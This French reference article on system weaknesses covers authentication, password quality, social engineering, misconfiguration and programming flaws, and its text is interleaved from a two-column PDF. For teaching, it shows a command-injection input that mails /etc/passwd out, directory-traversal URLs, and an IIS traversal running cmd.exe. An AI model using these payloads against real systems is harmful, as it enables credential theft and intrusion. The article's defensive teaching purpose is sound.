Académique Documents
Professionnel Documents
Culture Documents
: H5833 V1
Résumé Nuire aux réseaux informatiques et aux plateformes qu’ils hébergent est tout à
fait possible pour une personne mal intentionnée, en s’en prenant par exemple à ses
fonctions de routage ou en usurpant les adresses IP. Cet article présente les moyens
d’identifier les faiblesses du système, qu’elles soient d’architecture, d’authentification, de
configuration ou de programmation. Sont ensuite détaillés les outils disponibles à ce jour
permettant de concevoir des attaques de machines, la vulgarisation des techniques
facilite malheureusement leur utilisation par des pirates même inexpérimentés.
ous avons vu dans les dossiers [H 5 830] et [H 5 832] qu’il est possible pour
N une personne mal intentionnée d’établir la cartographie d’un réseau, même
si celui-ci est protégé par des équipements de sécurité, mais également, tout en
restant à distance, de nuire à ce réseau en altérant par exemple ses fonctions de
routage, en trompant certains des équipements qu’il héberge par l’usurpation
d’adresses IP et maintes autres techniques.
Nous avons également découvert que les machines placées sur des réseaux
distants pouvaient être elles-mêmes la proie du pirate, soit pour accéder aux
informations qu’elles contiennent, soit pour les utiliser comme plate-forme de
« rebond » afin d’être mieux placé pour atteindre d’autres équipements, comme
le pare-feu [TE 7 550] depuis le réseau qu’il protège, ou un système secondaire
dans une architecture trois tiers par exemple.
Jusqu’à présent, le pirate n’a travaillé qu’au niveau 3 du modèle OSI du proto-
cole TCP/IP. S’il a découvert l’existence de services réseaux en écoute, il n’a tou-
jours pas la certitude de pouvoir utiliser tel ou tel port pour réaliser son attaque.
Il lui manque encore une information : quel est le point faible le plus
intéressant ?
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 1
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 2 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ces composantes sont au nombre de trois : Un bon mot de passe ne doit pas être un mot ou un nom que l’on
— ce qu’une personne possède : par exemple, une carte trouve dans le dictionnaire, pas plus qu’un prénom, nom, plaque
d’authentification (comme une carte bancaire) ou une calculette minéralogique... En résumé, il ne doit se rencontrer nulle part
(token) générant des mots de passe uniques ; ailleurs.
— ce qu’une personne sait : par exemple, un mot de passe, un Pour être acceptable, un mot de passe doit obligatoirement faire
souvenir ; une longueur d’au moins huit caractères, et être composé de lettres
— ce qu’une personne est : par exemple, ses caractéristiques minuscules, majuscules, de chiffres et de signes. Bien sûr, plus il est
physiques comme son visage (reconnaissance faciale), la forme de long, mieux c’est. Le principe est de réduire au maximum la proba-
sa main, de son iris, de sa rétine, sa voix, ses empreintes digitales, bilité de trouver le mot de passe soit par hasard, soit de façon
etc., ou les caractéristiques d’un comportement : sa manière délibérée par une attaque de force brutale.
d’écrire, de signer ou même de taper au clavier. Une attaque de force brutale consiste à essayer séquentiellement
tous les mots de passe possibles jusqu’au succès. Le nombre de pos-
Il existe deux grands types d’authentification : l’authentification
sibilités pour un mot de passe, en fonction de sa longueur en consi-
simple et l’authentification forte.
dérant qu’il est codé en ASCII (7 bits) est au maximum de 96 (nombre
■ Authentification simple : afin de s’assurer qu’il s’agit bien de la de caractères affichables et saisissables au clavier) puissance le nom-
personne autorisée à utiliser ou accéder au service, celle-ci doit bre de caractères. Pour un mot de passe de 8 caractères, cela engen-
fournir son identifiant et une seule des composantes de l’authentifi- dre 968, soit 7 213 895 789 838 336 possibilités.
cation. Par exemple, l’authentification peut porter sur son nom d’uti- Un tel jeu de caractères peut sembler difficile à mémoriser. Mais il
lisateur et ce qu’elle sait, c’est-à-dire le mot de passe associé. existe un certain nombre d’astuces qui permettent de générer des
Cette méthode d’authentification est la plus fréquemment utilisée mots de passe complexes tout en se les rappelant facilement.
car elle est la méthode basique pour tout système d’exploitation La première méthode est la plus simple : il faut jouer sur la pho-
(encore que si le compte n’a pas de mot de passe, et donc ne nétique et l’orthographe. Par exemple, pour les familiers des jeux de
demande pas la saisie de celui-ci, cela devient de l’identification et cartes (et des SMS), ils contiennent une mine de mots de passe inté-
non plus de l’authentification). Sa qualité de protection dépend ressants. Le « pouilleux » par exemple, c’est le « Valé2Pik! » : neuf
entièrement de celle du mot de passe (§ 1.2.2). caractères, deux majuscules, un chiffre et un signe.
■ Authentification forte : le service demande à la personne de four- La deuxième méthode permet d’obtenir des mots de passe vérita-
nir son identifiant et au moins deux des composantes de l’authenti- blement complexes. Il s’agit d’associer une phrase au mot de passe.
fication, par exemple, le nom de l’utilisateur, un mot de passe et une Par exemple, imaginons un mot de passe généré par la phrase : « En
empreinte de sa rétine ou de ses doigts. été je fais de la voile, en hiver du ski, et tout le temps du vélo ». Une
telle phrase s’appelle une passphrase lorsqu’elle est utilisée telle
Un autre exemple assez fréquemment rencontré est la calculette à quelle comme mot de passe, et pourrait engendrer :
mots de passe. L’utilisateur fournit son nom (identifiant) ; il entre « Eéjf2V,hS,&ttV! ». Cela fait quinze caractères, quatre majuscules,
dans la calculette un mot de passe (qu’il sait) ou un numéro (PIN), ce six minuscules dont une avec accent (si le système d’exploitation le
qui permet de générer un mot de passe unique (calculé par la calcu- permet), quatre signes et un chiffre. Bien sûr, au niveau variété, ce
lette qu’il possède) que l’utilisateur fournit comme donnée n’est pas encore optimal. Mais l’imagination de chacun autorise
d’authentification. Il a bien fallu deux des composantes pour accé- bien d’autres combinaisons.
der au système ou à l’information.
Par ailleurs, il existe de nos jours quantités de produits qui facili-
Cette méthode est utilisée pour les accès plus risqués ou vers des tent la mémorisation des mots de passe complexes, et ceux-ci
données plus sensibles. Par exemple, la calculette est souvent utili- offrent souvent en plus le service de générer des mots de passe. Ces
sée pour permettre aux employés situés à l’extérieur de l’entreprise outils rangent les données d’authentification dans une base de don-
d’accéder au réseau interne de celle-ci par modem (dial) ou tunnel nées chiffrée, dont la clé de chiffrement est le seul et unique mot de
IPsec s’ils se connectent depuis Internet. passe (souvent plutôt une passphrase) dont l’utilisateur devra se
rappeler. Je citerai en exemple l’outil gratuit KeePass. Comme le
montre la figure 1, cet outil se présente comme une petite base de
1.2.2 Qualité du mot de passe données où l’utilisateur définit un enregistrement (par exemple,
machine x) et les différents noms des utilisateurs et mots de passe
qui y sont associés.
Dans la plupart des cas, essentiellement pour des raisons de coûts
financiers, l’authentification reste simple et s’appuie sur le couple L’outil permet à l’utilisateur de créer ses propres entrées ainsi que
nom d’utilisateur (login)/mot de passe. Par conséquent, la qualité de le montre la figure 2. Dans ce cas, un générateur de mot de passe
la protection assurée par ce couple est entièrement basée sur la réellement de qualité est également fourni. Même si le mot de passe
complexité de l’identité (le nom de l’utilisateur) et du mot de passe. est très complexe, compte tenu que c’est l’outil qui doit le
mémoriser, l’utilisateur n’en est pas pénalisé.
En général, on ne complexifie pas le nom de l’utilisateur. Au con-
traire, on aurait plutôt tendance à le standardiser et donc permettre Lorsque l’utilisateur désire accéder à un système, il lance l’outil,
à quiconque de pouvoir déterminer celui-ci simplement, sinon la fournit le mot de passe ou la passphrase qui permet de décoder la
gestion de ceux-ci deviendrait trop lourde et l’utilisateur pourrait base de données, puis sélectionne la machine qu’il désire atteindre.
oublier son identifiant informatique. C’est donc au mot de passe de Le nom de l’utilisateur apparaît sur l’écran, et le mot de passe peut
supporter toute la charge de la protection. être copié dans la mémoire tampon de la station de travail Windows
(copy password to clipboard). Il ne reste plus à l’utilisateur qu’à
taper son identifiant (à moins qu’il ne prenne celui fourni dans l’outil
Contrairement à ce qu’on pourrait penser, un mot de passe de la même manière qu’il a pris le mot de passe) et à coller le mot
n’est pas nécessairement un mot dans le sens littéral du terme. de passe dans la fenêtre de son outil de session à distance pour
En effet, le mot de passe peut être une suite aléatoire de caractè- compléter l’authentification. Après un délai paramétrable, la
res, voire de signes et de chiffres, et même être imprononçable, mémoire tampon est vidée pour éviter que le mot de passe ne
même dans des pays d’Asie ou d’Europe de l’Est. Malheureuse- puisse être conservé en mémoire et donc être récupéré par un
ment, il reste dans la plupart des cas un mot courant, quand ce « coller » effectué ultérieurement par une autre personne.
n’est pas le prénom de l’utilisateur, de son conjoint, enfant, Malheureusement, le meilleur des mots de passe ne suffit pas
parent ou animal de compagnie. toujours. Si par exemple la machine est accessible en telnet, ou si le
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 3
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 4 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
autorisé à faire. Ainsi, un utilisateur dont par exemple la mission est 1.3 Faiblesses de configuration
d’imprimer des factures ne doit pouvoir effectuer que cette opéra-
tion, et donc :
L’autre grand groupe de faiblesses est celui qui dépend entière-
— il est envoyé vers l’interface permettant d’imprimer les factu-
ment de la compétence de l’administrateur du système ou de la
res dès son authentification ;
ferme opérationnelle qui héberge les systèmes.
— il ne peut faire aucun changement dans ces factures mais ne Nota : une ferme est une plate-forme où sont regroupés quantité de serveurs afin que
peut qu’imprimer sur la ou les imprimantes prévues, etc. leur opération soit facilitée.
En effet, au sein de cette fonction, tous ne se valent pas et ce ne
Pratiquement, la plupart des systèmes d’exploitation offrent un sera que trop tard que l’entreprise comprendra que le niveau de
compte pour un superutilisateur (administrateur, root, manager...). compétences de ses administrateurs système peut engendrer des
Ce compte ne devrait jamais être utilisé à distance directement, et coûts supplémentaires sous la forme de piratages, infections de
devrait servir uniquement dans certaines situations où tous les pri- vers, etc., qui auraient pu être évités avec un administrateur compé-
vilèges sont nécessaires. tent et sensible à la sécurité.
Dans les cas les plus courants, l’administration ne requiert pas Afin d’éclairer mes propos, voici l’exemple vécu par une collègue
tous les privilèges et, par conséquent, la portée du compte de cha- de travail et qui nécessite au lecteur d’être familier avec l’administra-
que administrateur devrait refléter le cadre de son travail. Ainsi, tion d’un système Unix. Une entreprise a demandé de construire une
pour rester dans la continuité de l’exemple précédent, en cas de infrastructure qui fournirait un service réseau. Le projet a été réalisé
bourrage de l’imprimante ou de besoin de détruire une impression et les machines préinstallées ont été expédiées sur le point d’hébe-
en attente, l’utilisateur devrait avoir le privilège de gérer la file rgement. Celles-ci (des serveurs Unix) n’offraient que deux services
d’impression afin de pouvoir purger celle-ci en cas de dysfonction- réseaux : celui que la machine devait fournir et SSH pour l’adminis-
nement. tration à distance. Par ailleurs, SSH était configuré pour ne pas auto-
riser directement une session avec les privilèges administrateur, et
Autre exemple, un opérateur chargé des sauvegardes d’un sys- fonctionnait avec de l’authentification par clé publique (entre autres).
tème doit disposer du privilège de lire toutes les données stockées La machine est réceptionnée par le responsable du centre d’héberge-
sur celui-ci, mais ne doit en aucun cas pouvoir modifier quoi que ce ment, qui la branche et se connecte par la console pour configurer sa
soit. couche réseau et installer ses outils de surveillance (monitoring).
Celui-ci constate alors un certain nombre d’« irrégularités » (selon
ses propres termes) et modifie la configuration.
Tout d’abord, SSH était lancé directement et non pas via inetd. Par
1.2.6 Ingénierie sociale
conséquent, il ne pouvait pas filtrer les adresses IP sources (sur le
principe d’un « TCP wrapper ») selon sa méthode. Qu’à cela ne
Enfin, on ne peut parler d’authentification sans faire un détour par tienne, il réactive inetd avec son extension TCP wrapper, et comme sa
l’ingénierie sociale. Il s’agit de la pratique visant à utiliser les faibles- version de SSH ne marchait pas bien avec inetd, il installe également
ses humaines (confiance, distraction, stress...) dans le but d’obtenir son propre SSH v1 en remplacement de la dernière version v2 sans
des privilèges ou l’accès à des informations protégées. vulnérabilités connues. De plus, en modifiant la configuration du pro-
gramme inetd pour « wrapper » le démon sshd, il n’a pas « wrappé »
Un bon exemple actuel d’ingénierie sociale est le phishing. Il les autres démons tous actifs dans la configuration de inetd. Le résul-
s’agit de courriers électroniques envoyés à quantité de personnes à tat est que la machine offrait après cette action tous les services
la manière des pourriels (spam). Dans ce courrier qui ressemble fort réseaux possibles : FTP, telnet, les RPC..., qui bien sûr n’étaient pas à
à un courrier officiel, un avis annonce en général un problème infor- jour et par conséquent certains contenaient des vulnérabilités.
matique et demande au récepteur du message d’aller sur le site de Nota : TCP wrapper est un outil dont la mission est de s’intégrer dans inetd. Il permet de
sa banque (en cliquant sur le lien présent dans le courrier) et d’y mettre en place un concept de liste de contrôle d’accès. Chaque service réseau déclaré doit
ainsi passer par l’outil TCP wrapper qui, en fonction de sa configuration, décide si l’accès
confirmer ses données d’authentification. au service réseau est autorisé ou pas d’après l’adresse IP source. Contrairement à un fil-
trage au niveau 3, TCP wrapper se contente de refuser le lancement de l’application réseau,
Bien sûr, l’utilisateur trop naïf clique pour aller sur ce qu’il croit ce qui fait que la connexion TCP réussit, mais pas l’accès au niveau application.
être la véritable page d’accueil de sa banque. Mais si la page à Deux comptes utilisateurs supplémentaires avaient été créés dont
laquelle il accède ressemble point par point à cette véritable page un seul pouvant devenir root. Ce n’était pas pratique pour l’adminis-
d’accueil de sa banque, elle n’a cependant rien à voir avec celle-ci et trateur qui avait pour habitude de se connecter directement à dis-
n’a pour but que de récolter les données d’authentification du naïf. tance en tant que root. Aucun problème, il a donc créé un autre
Une fois fait, le pirate peut aller sur le véritable compte bancaire de compte root (baptisé toor) et désactivé la configuration de SSH qui
la victime et retirer de l’argent sans son accord. En effet, soit la page empêchait de se connecter directement en tant que root. De plus,
usurpée n’est pas hébergée chez le banquier, soit le courriel qui a pour ses opérateurs qui effectuaient des tâches subalternes, il avait
fourni le lien contient une attaque d’injection de script (§ 1.4.2.4) qui créé un compte ops, avec un mot de passe ops123.
permet de modifier une partie de celle-ci en insérant un formulaire
Enfin, ne sachant pas comment configurer le pare-feu personnel
de saisie au sein de la page provenant véritablement du site du
sur la machine, il l’a tout simplement désactivé. Le résultat de cette
pirate, modifiant ainsi l’affichage sur le navigateur de l’internaute.
mésaventure est évident. La machine qui était accessible directe-
Enfin, un autre exemple de l’ingénierie sociale est très connu. Il ment depuis Internet a été piratée et tout le service compromis. Par
correspond à la méthode utilisée par le célèbre pirate Kevin Mitnick. ailleurs, outre l’impact sur les clients et la perte d’image de l’entre-
Pour pouvoir effectuer ses intrusions, il n’a pas utilisé d’outils de prise, il a fallu se rendre sur place (donc des frais de mission et un
balayage de ports ou chercher à pénétrer le système. Il a tout sim- coût humain supplémentaire) pour tout remettre dans l’ordre car
plement téléphoné à des employés trop naïfs des entreprises qu’il l’administrateur ne savait pas utiliser d’autres outils que ceux qu’il
visait, s’est fait passer pour un utilisateur avec des problèmes, un connaissait, et les documentations pourtant associées au service
officier de police faisant une enquête, un haut responsable qui veut étaient trop complexes pour lui.
tout de suite telle ou telle modification à cause de démonstrations Nous avons donc ici un cas typique de faiblesses de configuration,
devant un superclient, ou même d’un autre administrateur auprès et plus un système est mal configuré, plus il offre d’opportunités à un
des administrateurs ou des utilisateurs du système visé, dans le but pirate d’exploiter une faiblesse dans le but de pénétrer le système. Il
d’obtenir des modifications, ou des comptes et mots de passe qu’il faut garder à l’esprit qu’une machine ne doit offrir que les services
a ensuite utilisés pour accéder aux données. qu’elle est censée offrir, ainsi que le minimum nécessaire pour l’admi-
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 5
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
nistration. Si le système est protégé par un pare-feu, il faut considérer Imaginons ainsi un programmeur à qui on a demandé d’installer
que celui-ci n’est pas digne de confiance car, là aussi, l’administrateur sur un site HTTP un formulaire permettant l’envoi d’un courriel à un
peut engendrer des faiblesses de configuration qui permettraient à utilisateur quelconque tel qu’un commercial par exemple. Notre
des personnes non autorisées de traverser le pare-feu et d’atteindre programmeur réalise donc sa page de saisie où il réclame l’adresse
la machine sur des ports non autorisés. Toutefois, il ne faut pas non email de l’expéditeur, un sujet et un corps de message. Dans son
plus faire porter aux administrateurs la responsabilité de tous les formulaire, il aura placé un paramètre caché dans le genre destina-
piratages qui ont eu lieu jusqu’à ce jour. Malheureusement, même le taire=commercial@domaine.com, afin de ne pas être contraint de
plus compétent et professionnel des administrateurs ne peut pas agir créer un programme par destinataire possible. Puis il crée un script
sur ce qui n’est pas sous son contrôle, comme dans le cas de l’attente sur le serveur HTTP sous le système d’exploitation Linux (un grand
d’un correctif par exemple. classique). Ce script exécute tout simplement la commande mail en
reprenant en argument le courriel du commercial ainsi que le sujet.
Pour les habitués d’Unix, cela donne un script qui ressemble au sui-
vant et qui fait appel à un pipe (redirection de la sortie d’une
1.4 Faiblesses de programmation commande vers l’entrée d’une autre) :
# !/bin/sh
Face aux faiblesses de programmation, nous sommes désarmés
car elles sont de la responsabilité du constructeur du logiciel ou du echo "Expediteur : $AdresseFrom
matériel. Pour preuve, le système d’exploitation Windows nécessite $CorpsMessage" | mail -s "$Sujet" $AdresseVisee
très souvent (en moyenne une fois par semaine) d’installer des
mises à jour (patch) dont la mission est de corriger tel ou tel bogue. Comme le programme le démontre, aucun test n’est fait. Les don-
Quant au 14 de chaque mois, connu sous le nom de « Microsoft nées saisies dans le formulaire sont directement utilisées pour
Day », c’est la grande récolte des correctifs. l’envoi du message. Comme il se doit, la commande sera exécutée
avec les privilèges de l’utilisateur propriétaire du processus du ser-
La faiblesse de programmation est une erreur qui a été faite lors
veur HTTP, et dans le pire des cas, ce sera l’administrateur. Suppo-
de la construction du code logiciel qui définit le fonctionnement
sons qu’un pirate désire récupérer le fichier des mots de passe du
d’une application ou d’un matériel. Cette erreur, si elle est correcte-
système Unix ; il va donc tenter d’utiliser ce script pour arriver à ses
ment exploitée, peut permettre à des personnes mal intentionnées
fins. Il saisit donc les données suivantes :
d’engendrer un déni de service ou d’accéder à une application ou un
système d’exploitation, sans avoir à passer par un mécanisme
d’authentification. Courriel de l’expéditeur : une_adresse_bidon
Corps du message : rien de spécial
Il existe plusieurs méthodes et techniques standards permettant
Sujet du message : "une_adresse_bidon;cat /etc/passwd | mail
la détection et l’exploitation de ces faiblesses, soit dans le louable
email_du_pirate;echo"
but de demander la correction de l’erreur au constructeur, soit pour
le cas plus fréquent, de tenter une pénétration du système d’exploi-
tation. Selon le type de faiblesse qui va être exploité, les conséquen- Que se passe t-il donc quand le script est exécuté ? La commande
ces et possibilités d’action sont différentes. qui est véritablement lancée par le formulaire est :
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 6 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Cela signifie donc qu’un exploit (nom générique donné aux pro-
grammes exploitant une vulnérabilité) est associé à un processeur
Haut de la mémoire et un seul, et potentiellement à une seule version d’un système
Zone de pile (stack) d’exploitation particulier. Par conséquent, une vulnérabilité dans un
Se remplit du haut vers le bas programme fonctionnant sous Linux x86 version X ne fonctionne
pas nécessairement sur une version Y, et normalement jamais sur
Zone libre un Solaris Sparc.
■ Principe du débordement de tampon : lors de la conception d’un
Zone de tas (heap) Zone programme, il est nécessaire de s’appuyer sur des variables. Celles-
Se remplit du bas vers le haut de données ci stockent des états, mais aussi des informations comme les don-
Zone de stockage nées d’entrée qui sont nécessaires au programme. Ainsi, un serveur
des constantes FTP par exemple, a besoin de stocker le nom et le mot de passe
(libre) entrés par l’utilisateur pour s’authentifier.
Zone de stockage
des constantes Un programmeur, lorsqu’il doit allouer un espace mémoire pour
(utilisée) une variable, s’appuie sur la taille des données à stocker pour calcu-
ler la taille de cet espace. Cependant, certains moins expérimentés
Code du programme Zone de texte allouent statiquement l’espace en se basant par exemple sur la taille
maximale prévue pour un nom d’utilisateur. Hors, s’il n’y a pas
vérification des données en entrée (§ 1.4.1.1) avant son stockage
Figure 3 – Organisation de la mémoire d’un processus dans la variable, il peut y avoir un phénomène de débordement si
cette variable est sous-dimensionnée.
Nous avons donc vu que la pile va contenir une information très
Pour comprendre le danger que représente le débordement de précieuse : l’adresse de la prochaine instruction à exécuter. L’art du
tampon, il faut d’abord saisir comment est structuré l’espace débordement de tampon (buffer overflow) consiste donc à remplir
mémoire d’un processus (programme lorsqu’il est en fonction dans le tampon afin que soit le programme vulnérable lance un code pro-
la mémoire de l’ordinateur). gramme injecté par l’intrus en lieu et place du code original, soit
l’adresse de la prochaine exécution soit modifiée pour lancer direc-
■ Organisation de la mémoire d’un processus : un processus a en tement une fonction qui soit utile à l’intrus (comme lancer un inter-
effet besoin de mémoire pour s’exécuter. Il lui faut de la place pour prète de commandes par exemple). Pour cela, le programme
stocker ses variables statiques et dynamiques, mais aussi son code exploitant la vulnérabilité s’appuie donc sur la saisie d’une donnée
machine. Dans un système d’exploitation, cette mémoire est tou- d’entrée qui aurait été mal dimensionnée.
jours organisée d’une certaine manière.
Sur la figure 4, nous voyons un exemple sous la forme des don-
Nous voyons sur la figure 3 (simplifiée) que la mémoire est très nées d’entrée d’un serveur FTP. Le nom de l’utilisateur et le mot de
structurée. Cette structure est ainsi faite à cause de la manière dont passe ont été dimensionnés statiquement sur 16 caractères (plus le
se charge le programme en mémoire (pour un processeur Intel x86). caractère 0 pour la terminaison de la chaîne de caractères). L’intrus
Lorsqu’un utilisateur lance une commande dans le système injecte donc du code programme à partir du 18e octet du mot de
d’exploitation, une série d’actions s’effectue de la façon suivante. passe puis modifie la valeur du pointeur afin que la prochaine ins-
En premier lieu, la partie « texte » du programme est chargée. Il truction soit le début de ce code pirate (shellcode) qui est ainsi exé-
s’agit du code programme en langage machine. Cette partie est cuté. Bien sûr, il faut parvenir à l’un de ces deux états sans
stockée dans le bas de l’espace mémoire alloué au processus. Cette provoquer d’erreur d’exécution du programme vulnérable, sans
zone peut être partagée par plusieurs instances du même pro- quoi le meilleur résultat ne serait qu’un déni de service.
gramme. Puis la partie « données » du programme est chargée. Il Il est important de noter que le débordement de tampon s’appli-
s’agit d’une zone qu’utilise le programme pour fonctionner. Elle fait que aux données en entrée, et donc nécessairement à des données
partie du programme lui-même tel qu’il est stocké sur le disque dur. entrées dans un service réseau comme dans cet exemple. Ainsi, le
Cette zone de données est divisée en trois parties : la zone statique, programme de messagerie de Microsoft, Outlook Express, a-t-il été
le tas et la pile. victime d’une telle attaque en 2000, avec pour vecteur un simple
La zone statique correspond aux données constantes, variables courriel. Celui-ci contenait le code malicieux qui permettait à l’intrus
globales et statiques dont le programme a besoin (par exemple en de déposer un cheval de Troie et d’envoyer un courrier fournissant
langage C les définitions dans les fichiers include) et qui font partie l’adresse IP de la machine ainsi compromise.
des données chargées lors du lancement de la commande. Puis Le débordement de tampon est une technique qui s’applique
vient le tas utilisé lors de l’allocation de variables dynamiques. aussi bien à la pile (stack overflow) qu’au tas (heap overflow ou
Enfin, la zone de pile, adressée en LIFO (last in first out), où seront heap buffer overflow).
stockés les paramètres des fonctions, variables locales, et surtout
l’adresse mémoire de la prochaine instruction à exécuter. Dans cette
zone de pile, la mémoire est utilisée de haut en bas afin que le tas et
la pile convergent.
■ Shellcode : dans un programme qui s’appuie sur un déborde-
ment de pile, on entend souvent parler de shellcode. Il s’agit en fait
du programme en langage machine qui est exécuté en lieu et place N o m U t i l i s a t e u r \0 \0 \0 M o t D e P a s
du programme qui doit être normalement exécuté. s e \0 \0 \0 \0 \0 \0 \0 C o d e P i r a t e x x x x
Il est très important de noter que le shellcode est écrit en Code programme injecté Pointeur
langage machine du processeur sur lequel s’exécute le processus par l'intrus vers la
qui va subir l’attaque de débordement de pile. De plus, ce shell- prochaine
code peut aussi être dépendant de la version et du modèle du instruction
système d’exploitation visé car entre versions et modèles diffé-
rents, la taille allouée par défaut et le comportement du processus
peuvent varier. Figure 4 – Exemple de débordement de pile
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 7
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Cette technique, appelée également race hazard et en français La traversée de répertoire (directory traversal) est une situation où
« situation de compétition », existe sous plusieurs formes. Elle peut l’intrus peut atteindre des répertoires et informations auxquels il ne
être basée sur un manque de protection des données d’une applica- devrait normalement pas accéder. Dans certains cas, la traversée de
tion, permettant ainsi à une autre de pouvoir accéder à l’information répertoire peut se trouver conjuguée à une exécution de code mali-
dans certaines conditions de temps. Ce type de situation apparaît cieux à distance.
particulièrement dans des programmes complexes qui fonctionnent Un exemple caractéristique de ce type de résultat se rencontre
sur des processus séparés ou s’appuient sur des clients légers avec les scripts CGI (Common Gateway Interface) construit par des
(threads). webmasters qui ne sont pas familiers avec la notion de sécurité.
Ainsi, un programme dont la fonction serait par exemple d’afficher
Par exemple, un programme peut écrire dans un fichier pendant le contenu d’un fichier présent sur le disque, pourrait afficher
qu’un autre programme est en train de lire ce même fichier dans la n’importe quel fichier si aucun contrôle approprié des données en
même zone. L’autre programme peut donc lire des données obsolè- entrée n’est fait.
tes (ou le mélange des anciennes et nouvelles données) car la zone
où il lit n’est pas encore mise à jour. Cette situation se rencontre plus Prenons par exemple un programme de ce type dont la version en
souvent dans les applications qui doivent manipuler d’énormes interprète de commandes Unix serait tout simplement :
quantités de données, engendrant des temps de latence importants.
Dans ce cas d’école, l’utilisation des verrous de fichiers permet
d’échapper à ce risque. # !/bin/sh
cat /home/serveur_www/http/$nom_fichier
Au niveau réseau, ce type de situation peut également se produire
dans des architectures distribuées. Ainsi, imaginons une application
Bien sûr, on suppose que la variable nom_fichier a été traitée
partageant le même fichier sur deux serveurs différents. Il pourrait
convenablement pour être passée au script et que les en-têtes HTML
se produire le cas où deux utilisateurs distincts (un par serveur dif-
nécessaires ont été envoyés au navigateur. Imaginons maintenant
férent) obtiennent le droit d’écriture dans le même fichier, provo-
un intrus qui détecte la manière dont est envoyé le nom de fichier au
quant ainsi deux instances de ce même fichier qui est censé être
serveur et change l’URL (Uniform Ressource Locator) pour
strictement identique sur les deux serveurs.
demander l’affichage du fichier ../../../etc/passwd. Par ce simple chan-
Ce type de situation a souvent pour origine une faiblesse de pro- gement d’URL, le script, qui lui n’a pas été modifié, affiche alors le
grammation, mais aussi une lenteur particulière du réseau qui fichier des utilisateurs et mots de passe du système ainsi attaqué.
empêche les serveurs de rester synchronisés. Bien sûr, il ne s’agit pas ici du risque d’exécution d’une commande
non autorisée, si le nom du fichier s’était trouvé finissant par
Une telle situation de compétition peut également se rencontrer ;nom_de_la_commande. En effet, il aurait suffit d’analyser les don-
lorsqu’un périphérique ou une application tente de faire au même nées d’entrée pour refuser ou éliminer les caractères slash (/) ou
moment deux actions qui devraient être exécutées séquentielle- deux points qui se suivent (..) pour ne plus être vulnérable à cette
ment dans un certain ordre. Dans ce cas, cela pourra engendrer une attaque particulière.
situation de blocage ou une panique du système.
De plus, ce type d’attaque se pratiquant entre autres sur des
serveurs HTTP, il est important de rappeler ici que tous les carac-
tères peuvent être envoyés vers ces serveurs sous deux formes : la
1.4.2 Conséquences de l’exploitation version littérale (%, !, ?, ..) ou par leur valeur ASCII encodée en hexa-
d’une vulnérabilité décimal (0x2E...). Il convient donc de vérifier les données d’entrée
de ces deux formes, ou après leur transposition sous forme de
caractères.
L’exploitation des techniques présentées dans le paragraphe 1.4.1
permet d’obtenir un certain nombre d’avantages sur la machine vic- Malheureusement, ce type de résultat n’est pas seulement impu-
time de ces attaques. Ces avantages peuvent aller de la visibilité sur table à un programmeur maladroit. Un serveur HTTP lui-même peut
des informations qui ne sont pas censées être accessibles à l’intrus, être à l’origine du risque. Ainsi, le serveur peut offrir des scripts
jusqu’à la possibilité de se retrouver en position d’administrateur d’exemple, ou comme le serveur Microsoft IIS qui présente trop fré-
avec tous les privilèges associés, en passant par l’exécution de pro- quemment des problèmes de sécurité, offrir la possibilité d’exécuter
grammes non autorisés. à distance une commande par le biais d’une faiblesse de traversée
de répertoire au sein même du serveur HTTP.
1.4.2.1 Denial of service Dans cet exemple précis, il suffit de demander l’URL http://
www.victime.com/scripts/..%5c../winnt/system32/cmd.exe?/c+dir+c:\
Le résultat le plus connu des attaques de pirates sur Internet est le pour provoquer l’exécution de la commande cmd.exe (l’interprète
déni de service (DoS : denial of service). Il n’y a pas grand-chose à de commandes MS-DOS) qui elle-même lance la commande dir c:\
